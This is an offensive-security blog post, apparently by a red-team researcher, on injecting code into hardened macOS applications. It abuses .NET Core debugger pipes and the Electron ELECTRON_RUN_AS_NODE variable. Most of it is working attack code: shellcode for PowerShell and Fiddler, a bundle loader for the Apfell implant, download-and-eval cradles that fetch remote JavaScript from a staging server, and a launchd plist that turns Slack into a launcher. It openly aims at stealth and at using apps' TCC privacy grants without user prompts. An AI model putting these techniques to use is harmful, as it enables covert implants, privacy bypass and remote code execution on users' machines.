« Back to home

Since joining the TrustedSec AETR team, I have been spending a bit of time looking at tradecraft for MacOS environments, which, unfortunately for us attackers, are getting tougher to attack compared to their Windows peers. With privacy protection, sandboxing, and endless entitlement dependencies, operating via an implant on a MacOS-powered device can be a minefield.

Process injection is one example of the post-exploitation kill chain that Apple has put considerable effort into locking down. Historically, we used to be able to call task_for_pid on a target process, retrieve its Mach port, and begin the mach_vm_ dance to allocate and read/write memory. Fast-forward to today, and these APIs have been heavily restricted, with only the root user permitted to call these functions. That is, of course, as long as the binary is not using the hardened runtime and the target is not an Apple signed binary, which are both exempt from even the root user peering into their memory.

In this post, we are going to take a look at a couple of interesting methods of leveraging third-party technologies to achieve our code injection goals. For us, this translates to running code in the context of a target application without having to resort to disabling System Integrity Protection (SIP).

Note: Both of the techniques shown in this post are not specific to MacOS. They will work on Linux and Windows systems just fine, but this post focuses on their impact to MacOS due to the restrictions Apple implements on process injection.

Let’s kick off by looking at a technology that should be familiar to us all, .NET Core.

.NET Core

Microsoft’s .NET Core framework is a popular cross-platform runtime and software development kit (SDK) for developing applications in our favorite .NET language. One of the more popular applications powered by the .NET Core runtime is the cross-platform version of PowerShell, which will act as our initial testbed for this post.

To show the complications that we face when trying to inject into such a process on MacOS, let’s try the traditional way of injecting via the task_for_pid API. A simple way to do this is using:

kern_return_t kret;
mach_port_t task;
    
kret = task_for_pid(mach_task_self(), atoi(argv[1]), &task);
if (kret!=KERN_SUCCESS)
{
    printf("task_for_pid() failed: %s!\\n",mach_error_string(kret));
} else {
    printf("task_for_pid() succeeded\\n");
}

When run against our target PowerShell process, we receive the expected error:

But what about if we run as root? Well, if we try against an application without the hardened runtime flag, we see that this works just fine:

But as soon as we start targeting an application signed with the hardened runtime flag, we run into the same familiar error:

What happens if we use something like lldb, which holds the powerful entitlement of com.apple.security.cs.debugger? Well, as a non-root user attempting to access a non-hardened process, we have more success, but we are also greeted with a nice dialog warning the target of our presence, making this impractical for a stealthy approach:

And again, even if we are running lldb as root, we cannot debug a process using the hardened runtime:

In summary, this means that we can only inject into our .NET Core process if we are root and the process has not been signed with the hardened runtime flag.

With Apple’s APIs being useless to us at this point without a nice vulnerability, how else can we gain control over our target .NET Core process? To understand this, we should take a closer look at the runtime source, which is available here.

.NET Core Debugging

Let’s start at the beginning and try to understand just how a debugger such as Visual Studio Code is able to interact with a .NET Core process.

If we take a look at the .NET Core source code within dbgtransportsession.cpp, which is responsible for handling debugger to debugee communication, we can see that a series of named pipes are created within the function DbgTransportSession::Init.

These pipes in the case of MacOS (and *nix) are FIFO named pipes created using the following code:

if (mkfifo(m_inPipeName, S_IRWXU) == -1)
{
    return false;
}

unlink(m_outPipeName);

if (mkfifo(m_outPipeName, S_IRWXU) == -1)
{
    unlink(m_inPipeName);
    return false;
}

To see this in action, we can start up PowerShell and see that two named pipes are created within the current user’s $TMPDIRwith the PID and inor outappended:

With the location and purpose of the named pipes understood, how do we communicate with our target process? The answer to this lies within the method DbgTransportSession::TransportWorker, which handles incoming connections from a debugger.

Walking through the code, we see that the first thing a debugger is required to do is to create a new debugging session. This is done by sending a message via theout pipe beginning with a MessageHeader struct, which we can grab from the .NET source:

struct MessageHeader
{
    MessageType   m_eType;        // Type of message this is
    DWORD         m_cbDataBlock;  // Size of data block that immediately follows this header (can be zero)
    DWORD         m_dwId;         // Message ID assigned by the sender of this message
    DWORD         m_dwReplyId;    // Message ID that this is a reply to (used by messages such as MT_GetDCB)
    DWORD         m_dwLastSeenId; // Message ID last seen by sender (receiver can discard up to here from send queue)
    DWORD         m_dwReserved;   // Reserved for future expansion (must be initialized to zero and
                                            // never read)
		union {
		    struct {
		        DWORD         m_dwMajorVersion;   // Protocol version requested/accepted
		        DWORD         m_dwMinorVersion;
		    } VersionInfo;
		  ...
		} TypeSpecificData;
    
    BYTE                    m_sMustBeZero[8];
}

In the case of a new session request, this struct is populated as follows:

static const DWORD kCurrentMajorVersion = 2;
static const DWORD kCurrentMinorVersion = 0;

// Set the message type (in this case, we're establishing a session)
sSendHeader.m_eType = MT_SessionRequest;

// Set the version
sSendHeader.TypeSpecificData.VersionInfo.m_dwMajorVersion = kCurrentMajorVersion;
sSendHeader.TypeSpecificData.VersionInfo.m_dwMinorVersion = kCurrentMinorVersion;

// Finally set the number of bytes which follow this header
sSendHeader.m_cbDataBlock = sizeof(SessionRequestData);

Once constructed, we send this over to the target using the write syscall:

write(wr, &sSendHeader, sizeof(MessageHeader));

Following our header, we need to send over a sessionRequestData struct, which contains a GUID to identify our session:

// All '9' is a GUID.. right??
memset(&sDataBlock.m_sSessionID, 9, sizeof(SessionRequestData));

// Send over the session request data
write(wr, &sDataBlock, sizeof(SessionRequestData));

Upon sending over our session request, we read from the out pipe a header that will indicate if our request to establish whether a debugger session has been successful or not:

read(rd, &sReceiveHeader, sizeof(MessageHeader));

All being well, at this stage we have established a debugger session with our target. So what functionality is available to us now that we can talk to the target process? Well, if we review the types of messages that the runtime exposes, we see two interesting primitives, MT_ReadMemory and MT_WriteMemory.

These messages do exactly as you would expect—they allow us to read and write to the target process’s memory. The important consideration here is that we can read and write memory outside of the typical MacOS API calls, giving us a backdoor into a .NET Core process’s memory.

Let’s start with attempting to read some memory from a target process. As with our session creation, we craft a header with:

// We increment this for each request
sSendHeader.m_dwId++;

// This needs to be set to the ID of our previous response
sSendHeader.m_dwLastSeenId = sReceiveHeader.m_dwId;

// Similar to above, this indicates which ID we are responding to
sSendHeader.m_dwReplyId = sReceiveHeader.m_dwId;

// The type of request we are making
sSendHeader.m_eType = MT_ReadMemory;

// How many bytes will follow this header
sSendHeader.m_cbDataBlock = 0;

This time, however, we also provide an address that we would like to read from the target:

// Address to read from
sSendHeader.TypeSpecificData.MemoryAccess.m_pbLeftSideBuffer = (PBYTE)addr;

// Number of bytes to read
sSendHeader.TypeSpecificData.MemoryAccess.m_cbLeftSideBuffer = len;

Let’s test how this works against something like PowerShell by allocating some unmanaged memory using:

[System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi("HAHA, MacOS be protectin' me!")

We see that we can easily read this memory using the proof of concept (POC) code found here. And the result:

Of course, we can also do the opposite, by injecting into PowerShell using the MT_WriteMemory command to overwrite memory:

The POC code used to do this can be found here.

.NET Core Code execution

With our focus on injecting code into PowerShell, how can we turn our read/write primitive into code execution? We also need to consider that we do not have the ability to change memory protection, meaning that we can only write to pages of memory marked writeable and executable if we want to introduce something like shellcode.

In this situation we have a few options, but for our simple POC, let’s go with identifying an RWX page of memory and hosting our shellcode there. Of course, Apple has restricted our ability to enumerate the address space of a remote process. We do, however, have access to vmmap (thanks to Patrick Wardle, who shows this technique being used by TaskExplorer in his post here), which contains a number of entitlements, including the coveted com.apple.system-task-ports entitlement that allows the tool to access a target Mach port.

If we execute vmmap -p [PID] against PowerShell, we see a number of interesting regions of memory suitable for hosting our code, highlighted below with ‘rwx/rwx’ permissions:

Now that we know the address of where we will inject our shellcode, we need to find a place we can write to that will trigger our code execution. Function pointers make an ideal candidate here, and it does not take long to spot a number of candidates. The one we will go with is to overwrite a pointer within the Dynamic Function Table (DFT), which is used by the .NET Core runtime to provide helper functions for JIT compilation. A list of supported function pointers can be found within jithelpers.h.

Finding a pointer to the DFT is actually straightforward, especially if we use the mimikatz-esque signature hunting technique to search through libcorclr.dll for a reference to the symbol _hlpDynamicFuncTable, which we can dereference:

All that is left to do is to find an address from which to start our signature search. To do this, we leverage another exposed debugger function, MT_GetDCB. This returns a number of useful bits of information on the target process, but for our case, we are interested in a field returned containing the address of a helper function, m_helperRemoteStartAddr. Using this address, we know just where libcorclr.dll is located within the target process memory and we can start our search for the DFT.

Now that we have all the pieces we need to inject and execute our code, let’s attempt to write some shellcode to an RWX page of memory and transfer code execution via the DFT. Our shellcode in this case will be quite straightforward by simply showing a message on the PowerShell prompt before returning execution back to the CLR (hopefully avoiding a crash):

[BITS 64]

section .text
_start:
; Avoid running multiple times
    cmp byte [rel already_run], 1
    je skip

; Save our regs
    push rax
    push rbx
    push rcx
    push rdx
    push rbp
    push rsi
    push rdi
    
; Make our write() syscall
    mov rax, 0x2000004
    mov rdi, 1
    lea rsi, [rel msg]
    mov rdx, msg.len
    syscall

; Restore our regs
    pop rdi
    pop rsi
    pop rbp
    pop rdx
    pop rcx
    pop rbx
    pop rax
    mov byte [rel already_run], 1

skip:
; Return execution (patched in later by our loader)
    mov rax, 0x4141414141414141
    jmp rax

msg: db 0xa,0xa,'WHO NEEDS AMSI?? ;) Injection test by @_xpn_',0xa,0xa
.len: equ $ - msg
already_run: db 0

With our shellcode crafted, let’s put everything together and see how this looks when executed:

The full POC code used to inject into PowerShell can be found here.

Does The Hardened Runtime Stop This?

So now that we have the ability to inject into a .NET Core process, the obvious question is… does the hardened runtime stop this? From what I have seen, setting the hardened runtime flag has no impact on debugging pipes being exposed to us, which means that apps that are signed along with the hardened runtime flag still expose the IPC debug functionality required for this type of injection to occur.

For example, let’s take another popular application that has been signed, notarized, and has the hardened runtime flag enabled, Fiddler:

Here we find the hardened runtime flag set, but as we can see, starting the application still results in debug pipes being created:

Let’s make sure that everything still works as expected by attempting to injecting some shellcode into Fiddler. This time, we will do something a bit more useful and inject the Apfell implant from Cody ThomasMythic framework into the victim process.

There are several ways to do this, but to keep things simple, we will use the wNSCreateObjectFileImageFromMemory method to load a bundle from disk:

[BITS 64]

NSLINKMODULE_OPTION_PRIVATE equ 0x2

section .text
_start:
    cmp byte [rel already_run], 1
    je skip

; Update our flag so we don't run every time
    mov byte [rel already_run], 1

; Store registers for later restore
    push rax
    push rbx
    push rcx
    push rdx
    push rbp
    push rsi
    push rdi
    push r8
    push r9
    push r10
    push r11
    push r12
    push r13
    push r14
    push r15

    sub rsp, 16

; call malloc
    mov rdi, [rel BundleLen]
    mov rax, [rel malloc]
    call rax
    mov qword [rsp], rax

; open the bundle
    lea rdi, [rel BundlePath]
    mov rsi, 0
    mov rax, 0x2000005
    syscall

; read the rest of the bundle into alloc memory
    mov rsi, qword [rsp]
    mov rdi, rax
    mov rdx, [rel BundleLen]
    mov rax, 0x2000003
    syscall

    pop rdi
    add rsp, 8

; Then we need to start loading our bundle
    sub rsp, 16
    lea rdx, [rsp]
    mov rsi, [rel BundleLen]
    mov rax, [rel NSCreateObjectFileImageFromMemory]
    call rax

    mov rdi, qword [rsp]
    lea rsi, [rel symbol]
    mov rdx, NSLINKMODULE_OPTION_PRIVATE
    mov rax, [rel NSLinkModule]
    call rax

    add rsp, 16
    lea rsi, [rel symbol]
    mov rdi, rax
    mov rax, [rel NSLookupSymbolInModule]
    call rax

    mov rdi, rax
    mov rax, [rel NSAddressOfSymbol]
    call rax

; Call our bundle exported function
    call rax

; Restore previous registers
    pop r15
    pop r14
    pop r13
    pop r12
    pop r11
    pop r10
    pop r9
    pop r8
    pop rdi
    pop rsi
    pop rbp
    pop rdx
    pop rcx
    pop rbx
    pop rax

; Return execution 
skip:
    mov rax, [rel retaddr]
    jmp rax

symbol: db '_run',0x0
already_run: db 0

; Addresses updated by launcher
retaddr:                dq 0x4141414141414141
malloc:                 dq 0x4242424242424242
NSCreateObjectFileImageFromMemory: dq 0x4343434343434343
NSLinkModule:           dq 0x4444444444444444
NSLookupSymbolInModule: dq 0x4545454545454545
NSAddressOfSymbol:      dq 0x4646464646464646
BundleLen:              dq 0x4747474747474747

; Path where bundle is stored on disk
BundlePath:             resb 0x20

The Bundle we will load acts as a very simple JXA execution cradle:

#include <stdio.h>
#include <pthread.h>
#import <Foundation/Foundation.h>
#import <OSAKit/OSAKit.h>

void threadStart(void* param) {
    OSAScript *scriptNAME= [[OSAScript alloc] initWithSource:@"eval(ObjC.unwrap( $.NSString.alloc.initWithDataEncoding( $.NSData.dataWithContentsOfURL( $.NSURL.URLWithString('<http://127.0.0.1:8111/apfell-4.js>')), $.NSUTF8StringEncoding)));" language:[OSALanguage languageForName:@"JavaScript"] ];
    NSDictionary * errorDict = nil;
    NSAppleEventDescriptor * returnDescriptor = [scriptNAME executeAndReturnError: &errorDict];
}

int run(void) {
#ifdef STEAL_THREAD
    threadStart(NULL);
#else
    pthread_t thread;
    pthread_create(&thread, NULL, &threadStart, NULL);
#endif
}

If we now follow the exact same steps as before to achieve our code injection, targeting Fiddler’s .NET Core WebUI process, we see that we are able to inject the Apfell implant within a hardened process without any issue and spawn an implant:

The POC code for injecting the Apfell implant can be found here.

OK, so now that we see just how useful these hidden functions of a runtime can be, is this an isolated case with .NET Core? Fortunately not. Let’s take a look at another framework that is found scattered throughout Apple’s App Store… Electron.

Electron Hijacking

As we all know by now, Electron is a framework that allows web applications to be ported to the desktop and is used to safely store RAM until it is needed later.

How then can we go about executing code within a signed and hardened Electron app? Introducing the environment variable: ELECTRON_RUN_AS_NODE.

This environment variable is all it takes to turn an Electron application into a regular old NodeJS REPL. For example, let’s take a popular application from the App Store, such as Slack, and launch the process with the ELECTRON_RUN_AS_NODE environment variable set:

You will see that this also works with Visual Studio Code:

Discord...

and even Bloodhound:

I would love to say that this is some l33t 0day, but it is actually published right there in the documentation (https://www.electronjs.org/docs/api/environment-variables#electron_run_as_node).

So, what does this mean for us? Again, on a MacOS environment, this means that, should an application be of interest, or privacy controls (Transparency, Consent, and Control, or TCC) be permitted against an Electron application, we can trivially execute the signed and hardened process along with the ELECTRON_RUN_AS_NODE environment variable and simply pass our NodeJS code to be executed.

Let’s take Slack (although any Electron app will work fine) and attempt to leverage its commonly permitted access to areas like Desktop and Documents to work around TCC. With MacOS, a child process will inherit the TCC permissions from a parent process, so this means that we can use NodeJS to spawn a child process, such as Apfell’s implant, which will inherit all those nice permitted privacy toggles granted by the user.

To do this, we are going to use launchd to spawn our Electron process using a plist like this:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "<http://www.apple.com/DTDs/PropertyList-1.0.dtd>">
<plist version="1.0">
<dict>
    <key>EnvironmentVariables</key>
    <dict>
           <key>ELECTRON_RUN_AS_NODE</key>
           <string>true</string>
    </dict>
    <key>Label</key>
    <string>com.xpnsec.hideme</string>
    <key>ProgramArguments</key>
    <array>
        <string>/Applications/Slack.app/Contents/MacOS/Slack</string>
        <string>-e</string>
        <string>const { spawn } = require("child_process"); spawn("osascript", ["-l","JavaScript","-e","eval(ObjC.unwrap($.NSString.alloc.initWithDataEncoding( $.NSData.dataWithContentsOfURL( $.NSURL.URLWithString('<http://stagingserver/apfell.js>')), $.NSUTF8StringEncoding)));"]);</string>
    </array>
    <key>RunAtLoad</key>
    <true/>
</dict>
</plist>

Then we can task launchd to load our plist and start Slack using the ELECTRON_RUN_AS_NODE environment variable, executing Apfell via OSAScript:

launchctl load /tmp/loadme.plist

If everything goes well, you will be kicked back a shell, as expected:

Normally, at this point you would expect to see privacy prompts being shown to the user when we request something like ~/Downloads, but as we are now spawned as a child of Slack, we can use its inherited privacy permissions:

And, of course, if you are requesting access to anything without prior permission granted…we can let the legitimate app take the fall:

So, there we have it, a few different methods for working around MacOS process injection restrictions by leveraging functionality exposed by third-party frameworks. Numerous applications are exposed to these kinds of injection techniques, which is surprising given the restrictions that Apple imposes on the MacOS ecosystem. But the hope is that by exposing these techniques, we can help redteamers bring back some injection to their MacOS post-exploitation playbook.